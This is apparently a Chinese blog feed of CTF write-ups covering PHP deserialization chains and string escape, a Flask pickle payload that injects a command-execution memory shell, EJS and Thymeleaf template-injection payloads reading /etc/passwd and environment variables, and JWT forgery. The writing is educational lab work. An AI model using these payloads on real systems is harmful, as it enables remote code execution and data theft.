yulian's blog - Web 2025-10-14T11:48:00+08:00 Typecho https://dirtycow.cn/feed/atom/category/Web/ <![CDATA[2025羊城杯初赛部分wp]]> https://dirtycow.cn/385.html 2025-10-14T11:48:00+08:00 2025-10-14T11:48:00+08:00 yulian http://dirtycow.cn Web

ez_unserialize

代码:

<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
    public $first;
    public $step;
    public $next;

    public function __construct() {
        $this->first = "继续加油!";
    }

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd'];
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

unserialize($_POST['payload']);

?>

反序列化构造链子

H::__destruct() -> A::start() -> V::__toString() -> E::__get() -> F::check() -> U::__invoke() -> system()

POC:

<?php
class A { public $first; public $step; public $next; }
class E { private $you; public $found; private $secret; }
class F { public $fifth; public $step; public $finalstep; }
class H { public $who; public $are; public $you; }
class N { public $congratulation; public $yougotit; }
class U { public $almost; public $there; public $cmd; }
class V { public $good; public $keep; public $dowhat; public $go; }

$f = new F();
$f->finalstep = 'u'; // 类名大小写不敏感,绕过 preg_match("/U/",...)

// 2. 创建 E,它会调用 F->check()
$e = new E();
$e->found = $f;

// 3. 创建 V,它会触发 E::__get('secret')
$v = new V();
$v->go = $e;
$v->dowhat = 'secret';

// 4. 创建 A,它会触发 V::__toString()
$a = new A();
$a->next = $v;

// 5. 创建入口点 H,它会触发 A->start()
$h = new H();
$h->who = $a;

$payload = serialize($h);
echo urlencode($payload);
?>

//result
/*
O%3A1%3A%22H%22%3A3%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A5%3A%22first%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A4%3A%7Bs%3A4%3A%22good%22%3BN%3Bs%3A4%3A%22keep%22%3BN%3Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A3%3A%7Bs%3A6%3A%22%00E%00you%22%3BN%3Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A3%3A%7Bs%3A5%3A%22fifth%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7Ds%3A9%3A%22%00E%00secret%22%3BN%3B%7D%7D%7Ds%3A3%3A%22are%22%3BN%3Bs%3A3%3A%22you%22%3BN%3B%7D
*/

image8.png
image8.png

ez_blog

image9.png
image9.png

使用guest用户登录这个网站,发现cookie中会有个token

image10.png
image10.png

十六进制解码之后发现有guest isadmin这些字段

image11.png
image11.png

网站的后端是flask,这里的十六进制应该是序列化之后的,传到后端会将这段十六进制反序列化

我们只要构造一个恶意代码,将其序列化之后的十六进制传入就能被执行

构造一个内存马注入

import  pickle
class RCE():
    def __reduce__(self):
        command = r"""app.after_request_funcs.setdefault(None,[]).append(lambda resp: make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp)"""
        return (eval, (command,))

print(pickle.dumps(RCE()).hex())

image13.png
image13.png

替换token,刷新网页

image14.png
image14.png

成功执行

staticNodeService

image16.png
image16.png

在响应头中发现了express字样,后端是nodejs写的

image17.png
image17.png

给了源码,审计一下

这段 Node.js 代码实现了一个文件上传和文件浏览功能,基于Express + EJS 模板引擎实现
可以通过http put 上传文件

image18.png
image18.png

这里是安全中间件

如果 req.path 不是字符串 → 直接拒绝

如果 req.query.templ 存在且不是字符串 → 拒绝

如果路径中含 .. 或以 .js 结尾 → 拒绝访问

虽然它过滤了 ..,但并未过滤 /templ,这里可以加载任意ejs模板

image19.png
image19.png

image20.png
image20.png

image21.png
image21.png

成功执行命令

POC:

<%
  // 取到 global
  const G = ({}).constructor.constructor('return this')();

  // 通过 process.mainModule.require 拿 child_process(更稳)
  const cp = (G.process && G.process.mainModule && G.process.mainModule.require)
             ? G.process.mainModule.require('child_process')
             : // 备用:若 mainModule 不可用,尝试用 process.require(少见)
               (G.process && G.process.require ? G.process.require('child_process') : null);

  if (!cp) {
    throw new Error('cannot locate child_process via process.mainModule.require');
  }

  const out = cp.execSync('/readflag').toString();
%>
<pre><%= out %></pre>

authweb

来审一下代码

image-20251014091030413.png
image-20251014091030413.png

先看一下login 访问/dynamic-template这个接口不传参数 默认返回login.html页面,对模板进行解析

image-20251014101658842.png
image-20251014101658842.png

MainC类中发现了文件上传接口,文件会保存在uploadFile/${filename}.html

这里很明显是要配合/dynamic-template中的文件包含进行模板注入

image-20251014102012384.png
image-20251014102012384.png

文件上传有鉴权,USER用户才有权限上传

image-20251014091007467.png
image-20251014091007467.png

用户名和密码写死了,{noop} 代表密码不加密

image-20251014102627535.png
image-20251014102627535.png

getUsernameFromToken方法返回了 claims.getSubject(),就是jwt中的sub字段

使用密钥25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03,可以直接伪造user1的jwt进行登录,然后上传模板

通过/dynamic-template?value=../uploadFile/ 接口出发模板进行命令执行

image-20251014104406235.png
image-20251014104406235.png

先写一个测试模板上传,查看模板是否会被解析

<span th:text="${7 * 7}"></span>

image-20251014111206175.png
image-20251014111206175.png

image-20251014111658111.png
image-20251014111658111.png

接下来构造命令执行poc

image-20251014111948792.png
image-20251014111948792.png

发现程序采用的是thymeleaf-3.1.2,这个版本新增了很多过滤,需要绕过

在网上找到了一个可以用的poc

参考链接:https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html

<p th:text='${__${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org."+"thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","cp /etc/passwd uploadFile/passwd.html",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__}'></p>

image-20251014112742925.png
image-20251014112742925.png

flag在环境变量,将上面poc中的 cp /etc/passwd uploadFile/passwd.html替换成cp /proc/self/environ uploadFile/flag.html即可

Reverse

GD1

题目是一个游戏,由Godot开发

使用GDRE_tools工具对游戏进行反编译

image1.png
image1.png

发现enc

image2.png
image2.png

这里是enc的加密逻辑

当分数达到7906是执行下面的解码代码,查看具体解密逻辑

把字符串 enc分成 12 位一组 ,即 3 个 4 位二进制数字

前 4 位 → 百位数

中 4 位 → 十位数

后 4 位 → 个位数

然后拼成一个三位数 ASCII 码

解密写脚本解密

a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"

flag = ""

for i in range(0, len(a), 12):
    bin_chunk = a[i:i+12]
    hundreds = int(bin_chunk[0:4], 2)
    tens = int(bin_chunk[4:8], 2)
    units = int(bin_chunk[8:12], 2)
    ascii_value = hundreds * 100 + tens * 10 + units
    flag += chr(ascii_value)

print(flag)

//result
//DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}

Misc

成功男人背后的女人

image34.png
image34.png

使用adobe fireworks 打开图片发先图片有多个图层

image35.png
image35.png

隐藏下面一个图层之后出来一个图片,里面有很多男女标志

男为1 女为2提取出来,进行二进制解码就能getflag

image36.png
image36.png

DS&Ai

dataIdSort

参考文档内数据格式结合AI编写脚本

最后脚本:

# -*- coding: utf-8 -*-

import re
import csv
from datetime import datetime

# --- 数据校验规范中定义的常量 ---

# 手机号前三位号段集合
PHONE_PREFIXES = {
    "134", "135", "136", "137", "138", "139", "147", "148", "150",
    "151", "152", "157", "158", "159", "172", "178", "182", "183",
    "184", "187", "188", "195", "198", "130", "131", "132", "140",
    "145", "146", "155", "156", "166", "167", "171", "175", "176",
    "185", "186", "196", "133", "149", "153", "173", "174", "177",
    "180", "181", "189", "190", "191", "193", "199"
}

# 身份证号前17位加权系数
ID_CARD_WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
# 身份证号校验码映射关系 (余数 0-10 对应)
ID_CARD_CHECKSUM = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']

# --- 各类数据校验函数 ---

def is_valid_idcard(s: str) -> bool:
    """校验身份证号码是否有效。"""
    cleaned_s = s.replace(" ", "").replace("-", "")
    if len(cleaned_s) != 18:
        return False
    if not cleaned_s[:17].isdigit() or not (cleaned_s[17].isdigit() or cleaned_s[17].upper() == 'X'):
        return False
    try:
        datetime.strptime(cleaned_s[6:14], '%Y%m%d')
    except ValueError:
        return False
    s_sum = sum(int(cleaned_s[i]) * ID_CARD_WEIGHTS[i] for i in range(17))
    expected_checksum = ID_CARD_CHECKSUM[s_sum % 11]
    return cleaned_s[17].upper() == expected_checksum

def is_valid_phone(s: str) -> bool:
    """校验手机号码是否有效。"""
    temp_s = s.strip()
    if temp_s.startswith("+86"):
        temp_s = temp_s[3:].strip()
    elif temp_s.startswith("(+86)"):
        temp_s = temp_s[5:].strip()
    cleaned_s = temp_s.replace(" ", "").replace("-", "")
    return len(cleaned_s) == 11 and cleaned_s.isdigit() and cleaned_s[:3] in PHONE_PREFIXES

def is_valid_bankcard(s: str) -> bool:
    """使用 Luhn 算法校验银行卡号是否有效。"""
    if not (16 <= len(s) <= 19 and s.isdigit()):
        return False
    digits = [int(d) for d in s]
    for i in range(len(digits) - 2, -1, -2):
        doubled = digits[i] * 2
        digits[i] = doubled - 9 if doubled > 9 else doubled
    return sum(digits) % 10 == 0

def is_valid_ip(s: str) -> bool:
    """校验IPv4地址是否有效。"""
    parts = s.split('.')
    if len(parts) != 4:
        return False
    for part in parts:
        if not part.isdigit() or (len(part) > 1 and part.startswith('0')) or not 0 <= int(part) <= 255:
            return False
    return True

def is_valid_mac(s: str) -> bool:
    """校验MAC地址是否有效。"""
    return re.fullmatch(r'([0-9a-fA-F]{2}:){5}([0-9a-fA-F]{2})', s, re.IGNORECASE) is not None

def process_data_file(input_filename: str, output_filename: str):
    """
    主处理函数:读取整个文件内容,提取所有可能的候选数据,进行校验和分类。
    """
    try:
        with open(input_filename, 'r', encoding='utf-8') as f_in:
            content = f_in.read()
    except FileNotFoundError:
        print(f"错误:输入文件 '{input_filename}' 未找到。")
        return

    # ★★★ 专家级正则表达式,使用负向先行断言 (?<!\d) 和 (?!\d) 来确保数字边界 ★★★
    patterns = {
        'idcard': r'(?<!\d)\d{6}(?:-|\s)?\d{8}(?:-|\s)?\d{3}[\dX](?!\d)',
        # ★★★ 兼容了 "+86" 后无空格的情况 ★★★
        'phone': r'(?<!\d)(?:\(\+86\)|\+86\s?)?(?:\d{3}[-\s]?\d{4}[-\s]?\d{4}|\d{11})(?!\d)',
        'ip': r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
        'mac': r'(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}',
        'bankcard': r'(?<!\d)\d{16,19}(?!\d)'
    }

    validators = {
        'idcard': is_valid_idcard,
        'phone': is_valid_phone,
        'bankcard': is_valid_bankcard,
        'ip': is_valid_ip,
        'mac': is_valid_mac
    }
    
    valid_data = []
    found_values = set()

    # 更改查找顺序,优先查找格式最独特、最不容易混淆的类型
    category_order = ['ip', 'mac', 'idcard', 'phone', 'bankcard']

    for category in category_order:
        pattern = patterns[category]
        # 使用 re.IGNORECASE 使MAC地址匹配不区分大小写
        candidates = re.finditer(pattern, content, re.IGNORECASE)
        for match in candidates:
            value = match.group(0)
            
            # 清理银行卡号候选值,因为它可能从一个更长的数字串中提取
            # 但我们需要保留原始格式,所以只对纯数字的银行卡进行此操作
            candidate_to_check = value
            if category == 'bankcard' and not re.search(r'[-\s]', value):
                 # 如果一个18位的数字同时是无效身份证和有效银行卡,确保它被正确分类
                 pass # 在这个逻辑下,不需要特殊处理

            if candidate_to_check in found_values:
                continue
            
            if validators[category](candidate_to_check):
                valid_data.append({'category': category, 'value': value})
                found_values.add(value)

    # 将结果写入CSV文件
    try:
        with open(output_filename, 'w', newline='', encoding='utf-8') as f_out:
            fieldnames = ['category', 'value']
            writer = csv.DictWriter(f_out, fieldnames=fieldnames)
            writer.writeheader()
            writer.writerows(valid_data)
        
        print(f"处理完成!有效数据已保存至 '{output_filename}'。")
        
    except IOError:
        print(f"错误:无法写入到输出文件 '{output_filename}'。")

# --- 脚本执行入口 ---
if __name__ == '__main__':
    INPUT_FILE = 'data.txt'
    OUTPUT_FILE = 'results.csv'
    process_data_file(INPUT_FILE, OUTPUT_FILE)

SM4-OFB

使用明文推出异或密钥

脚本:

import pandas as pd
import binascii

plain_name_1 = "蒋宏玲"
plain_id_1 = "220000197309078766"
cipher_hex_id_1 = "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c"

plain_bytes_id_1 = plain_id_1.encode('utf-8')
cipher_bytes_id_1 = binascii.unhexlify(cipher_hex_id_1)

def xor_bytes(b1, b2):
    return bytes([_a ^ _b for _a, _b in zip(b1, b2)])

padded_plain_bytes_id_1 = plain_bytes_id_1.ljust(len(cipher_bytes_id_1), b'\x00')
keystream = xor_bytes(padded_plain_bytes_id_1, cipher_bytes_id_1)


df = pd.read_excel('个人信息表.xlsx', index_col=0)

def decrypt_field(hex_ciphertext):
    if not isinstance(hex_ciphertext, str):
        return hex_ciphertext

    try:
        cipher_bytes = binascii.unhexlify(hex_ciphertext)
    except binascii.Error:
        return hex_ciphertext

    plain_bytes = xor_bytes(cipher_bytes, keystream)

    plain_bytes = plain_bytes.rstrip(b'\x00\x05\x07\r\n ')

    plain_text = plain_bytes.decode('utf-8', errors='ignore').strip()

    return plain_text

df['姓名'] = df['姓名'].apply(decrypt_field)
df['手机号'] = df['手机号'].apply(decrypt_field)
df['身份证号'] = df['身份证号'].apply(decrypt_field)

display(df[df['姓名'] == '何浩璐'])
]]>
<![CDATA[NewStarCTF 2023 Week4 Web 逃]]> https://dirtycow.cn/143.html 2023-10-24T11:36:00+08:00 2023-10-24T11:36:00+08:00 yulian http://dirtycow.cn 思路:

打开题目 查看php代码,再根据题目的提示确定这是字符串逃逸

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

分析一下代码

这段代码用GET方式接收了key,将这个key传入了GetFlag类中

之后又将这个类序列化了传入waf函数

查看waf函数 ,发现这个函数对传入如的字符串进行了处理,将传入的字符串中的bad字符替换成了good

最后又将处理过的字符串反序列化了,经过处理的字符串字符会增多,导致字符逃逸

我们只要传入一定量的字符bad,使逃逸的字符(payload)覆盖原本的字符就能实现任意命令执行

接下来构造paylaod

payload:

先将GetFlag类序列化查看

O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}

来构造一下要执行的命令

                                ";s:3:"cmd";s:4:"ls /";}    

我们构造执行命令的字符长度是24,也就是说要逃逸24个字符,需要24个bad

构造payload

badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

先在本地测试一下

image-20231024112553669.png
image-20231024112553669.png

使用var_dump函数查看GetFlag的结构,发现变量cmd的值已经是ls /

去题目测试

image-20231024112922436.png
image-20231024112922436.png

成功列出根目录

构造查看flag的payload

";s:3:"cmd";s:9:"cat /flag";}

查看flag的payload有29个字符

payload:

badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

image-20231024113413431.png
image-20231024113413431.png

成功getflag

]]>
<![CDATA[BUUCTF [0CTF 2016]piapiapia]]> https://dirtycow.cn/78.html 2023-10-23T20:17:00+08:00 2023-10-23T20:17:00+08:00 yulian http://dirtycow.cn 知识点:

1.php的序列化和反序列化:

序列化就是把对象或者变量转化为字符串从而便于存储和传输

反序列化就是把序列化的字符串转化为原来的对象或者变量

序列化例子:

<?php
class Person{
    public $name = "user";
    private $age = 18;
    protected $num = "11111111";

    function test(){
        $this->name = "user1";
        echo $this->$name;
    }

}

$test = new Person();
echo serialize($test);
?>

输出内容:

O:6:"Person":3:{s:4:"name";s:4:"user";s:11:"Personage";i:18;s:6:"*num";s:8:"11111111";}

对象类型 : 对象长度 : "对象名称" : 类里面的变量个数 : {变量类型 : 长度 : 变量名称; 值类型 : 变量值长度 : 变量值; ......}

O是指一个对象,6是Person的长度,3是有三个属性,{}里面是属性的内容; 第一个s是name的类型,4是name长度,第二个s是变量name值的类型,第二个4是"user"的长度,"user" 是变量name的值 以此类推。

注意类里面的方法不会参加序列化。

需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。

  • 使用public修饰进行序列化后,变量$name的长度为4,正常输出。
  • 使用private修饰进行序列化后,会在变量$age前面加上类的名称,在这里是Person,并且长度会比正常大小多2个字节,也就是6+3+2=11。
  • 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是3+3=6。

通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:

  1. 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]

  2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]

  其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。

反序列化:

<?php
class Person{
    public $name = "user";
    private $age = 18;
    protected $num = "11111111";

    function test(){
        $this->name = "user1";
        echo $this->name . "\n";
    }

}

$test = new Person();
echo serialize($test);
echo "\n";
$str = serialize($test);
$test2 = unserialize($str);
$test2->test();
var_dump($test2);

?>

输出内容:

O:6:"Person":3:{s:4:"name";s:4:"user";s:11:"Personage";i:18;s:6:"*num";s:8:"11111111";}
user1
object(Person)#2 (3) {
  ["name"]=>
  string(5) "user1"
  ["age":"Person":private]=>
  int(18)
  ["num":protected]=>
  string(8) "11111111"
}

使用反序列化函数反序列化序列化后字符串

$test2可以调用test方法

用var_dump 对象,可以查看对象内部结构

2.php反序列化字符逃逸

什么事字符逃逸,从字面意思上看,就是一些字符被丢弃。

序列化后的字符串进行反序列化操作时,会以{}两个花括号进行分界线,花括号外的内容不会被反序列化。

例子:

    <?php
class people{
    public $name = 'aaa';
    public $sex = 'boy';
 }
$a = new people();
print_r(serialize($a));
echo "\n";
$str='O:6:"people":2:{s:4:"name";s:3:"aaa";s:3:"sex";s:3:"boy";}123';
var_dump(unserialize($str));
?>

输出结果

O:6:"people":2:{s:4:"name";s:3:"aaa";s:3:"sex";s:3:"boy";}
object(people)#2 (2) {
  ["name"]=>
  string(3) "aaa"
  ["sex"]=>
  string(3) "boy"
}

在序列化字符串后面添加123

PHP不会报错,并且也不会输出123.说明{}是字符串反序列化时的分界符。当然,在进行反序列化时,是从左到右读取。读取多少取决于s后面的字符长度。

比如当我们将数字改成5

<?php
$str='O:6:"people":2:{s:5:"name";s:3:"aaa";s:3:"sex";s:3:"boy";}';
var_dump(unserialize($str));
?>

输出结果

bool(false)

此时在读取name时,它会将闭合的双引号也读取在内,而需要闭合字符串的双引号被当作字符串处理,这时就会导致语法错误而报错。

一般触发字符逃逸的前提是这个替换函数str_replace,能将字符串的长度改变。其主要原理就是运用闭合的思想。字符逃逸主要有两种,一种是字符增多,一种是字符减少。

字符增多

<?php
class A{
    public $name = 'aaaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}';
    public $passwd = '1234';
}
$ss = new A();
$str = serialize($ss);
//echo $str;
function filter($str){
    return str_replace('aa','bbbb',$str);
}
$tt = filter($str);
echo $tt;
$qq = unserialize($tt);
var_dump($qq);
?>

大家可能会有一个疑惑?为什么要有这个str_replace函数,我认为可能是想过滤掉用户输入的恶意代码,防止恶意代码执行恶意命令。(主要还是unserialize函数的参数可控)。

这段代码主要目的就是间接修改passwd的值

";s:6:"passwd";s:3:"123";}

输出结果:

O:1:"A":2:{s:4:"name";s:52:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:4:"1234";}object(A)#2 (2) {
  ["name"]=>
  string(52) "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
  ["passwd"]=>
  string(3) "123"
}

这个字符串一共有26字符。我们想要让这段字符串进行反序列化,而;}正好将前面闭合,从而将字符串";s:6:"passwd";s:4:"1234";}逃逸出去。这样就可以间接修改passwd的值了。回过头看代码,序列化字符串中将aa替换为bbbb,这样就多出两个字符。以此类推,我们输入13个aa,就会多出26个字符,正好达到name的字符串长度,成功将s:6:"passwd";s:3:"123";}反序列化
这样就将passwd的值改为123

字符减少

<?php
class A{
    public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}';
    public $passwd = '1234";s:6:"passwd";s:3:"123';
}
$ss = new A();
$str = serialize($ss);
//echo $str;
function filter($str){
    return str_replace('bb','a',$str);
}
$tt = filter($str);
echo $tt;
$qq = unserialize($tt);
var_dump($qq);
?>

同样道理,我们要将s:6:"passwd";s:3:"123成功反序列化,那么就要把

";s:6:"passwd";s:27:"1234

这段字符串给吃掉。这段字符串一共有25个字符,则我们在name中输入25个b

O:1:"A":2:{s:4:"name";s:52:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:4:"1234";}object(A)#2 (2) {
  ["name"]=>
  string(52) "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
  ["passwd"]=>
  string(3) "123"
}

总结:

字符逃逸的主要原理就是闭合,和sql注入类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的

解题思路:

web题信息收集很重要!!!没有思路就去扫目录!!!

打开题目,发现主页是个登录页面

经过各种测试,排除了sql注入的漏洞的可能

image-20221011195102510.png
image-20221011195102510.png

通过目录扫描,发现网站根目录存在www.zip

将其下载下来进行代码审计

//profile.php
<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

在profile.php中发现了file_get_contents()函数,它读取了数组$profile的photo

继续看代码,$profile是反序列化了$profile, $profile调用了class.php中的user对象中的show_profile()方法, 传入了username

接下来看show_profile()

image-20221011185518280.png
image-20221011185518280.png

调用了父类的filter方法

去查看filter()

image-20221011190550206.png
image-20221011190550206.png

filter方法是对传进去的

进行过滤,把字符串中的"select , insert, update, delete, where" 替换成hacker, 并返回这个字符串

回过去看show_profile()

$object 调用了父类的select方法

查看select()

image-20221011191017190.png
image-20221011191017190.png

select方法查询了用户的信息,并返回了查询结果对象

在show_pofile方法中,最后返回了查询结果的profile字段

既然profile是从数据库中查询出来的,那一定有将profile写入出数据库的操作。

查看update.php

//update.php
<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['emaild'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

在update.php中有一个序列化操作, 调用了update_profile()方法

我们查看这个方法

image-20221011194057660.png
image-20221011194057660.png

他这里又调用了filter()方法对username和profile进行了过滤

然后调用了父类的update()方法, 查看update方法

image-20221011194719967.png
image-20221011194719967.png

update方法对数据库进行更新操作,重新写入了profile,在config.php中找到了关键信息, 发现flag在里面

image-20221011201212936.png
image-20221011201212936.png

继续查看profile.php

他读取了photo,这个photo是我们不可控的变量,我们要想办法让photo的值变成config.php

    $profile['phone'] = $_POST['phone'];
    $profile['emaild'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];

这三个变量都是我们可控的

发现对nickname进行了限制,不能超过10个字符

image-20221011202212951.png
image-20221011202212951.png

我们可以通过数组进行绕过

构造一个profile,序列化查看

<?php
$profile['phone'] = "18336831378";
$profile['emaild'] = "1707154109";
$profile['nickname'] = [""];
$profile['photo'] = 'upload/' . md5("111");

echo serialize($profile);
?>

结果:

a:4:{s:5:"phone";s:11:"18336831378";s:6:"emaild";s:10:"1707154109";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}

我们可以构造payload

";}s:5:"photo";s:10:"config.php";}

把这个payload给nickname赋值, 再序列化查看

$profile['nickname'] = ['";}s:5:"photo";s:10:"config.php"'];

结果

a:4{s:5:"phone";s:11:"18336831378";s:6:"emaild";s:10:"1707154109";s:8:"nickname";a:1{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}

这边nickname会读取34个字符,也就是我们的payload,我们要将他逃逸出去,因为profile被传入update_profile方法会对profile进行过滤,将"select , insert, update, delete, where"这些字符串替换成hacker

这样就会多出来一个字符,所以我们只要在我们的payload前面添加34个where,就会多出34个字符,我们的payload就会逃逸出来

payload:

在源码中有个register.php

我们访问这个页面,注册一个账号,注册好后登录账号

image-20221011195716878.png
image-20221011195716878.png

构造payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

打开burp对该页面进行抓包重发

image-20221011210514723.png
image-20221011210514723.png

回显页面显示更新成功

进入profile页面查看

image-20221011210657220.png
image-20221011210657220.png

当我看到图片没有被加载出来就知道成功了

查看网页源代码

image-20221011210749659.png
image-20221011210749659.png

将base64复制进行解码

image-20221011211531534.png
image-20221011211531534.png

拿到flag

]]>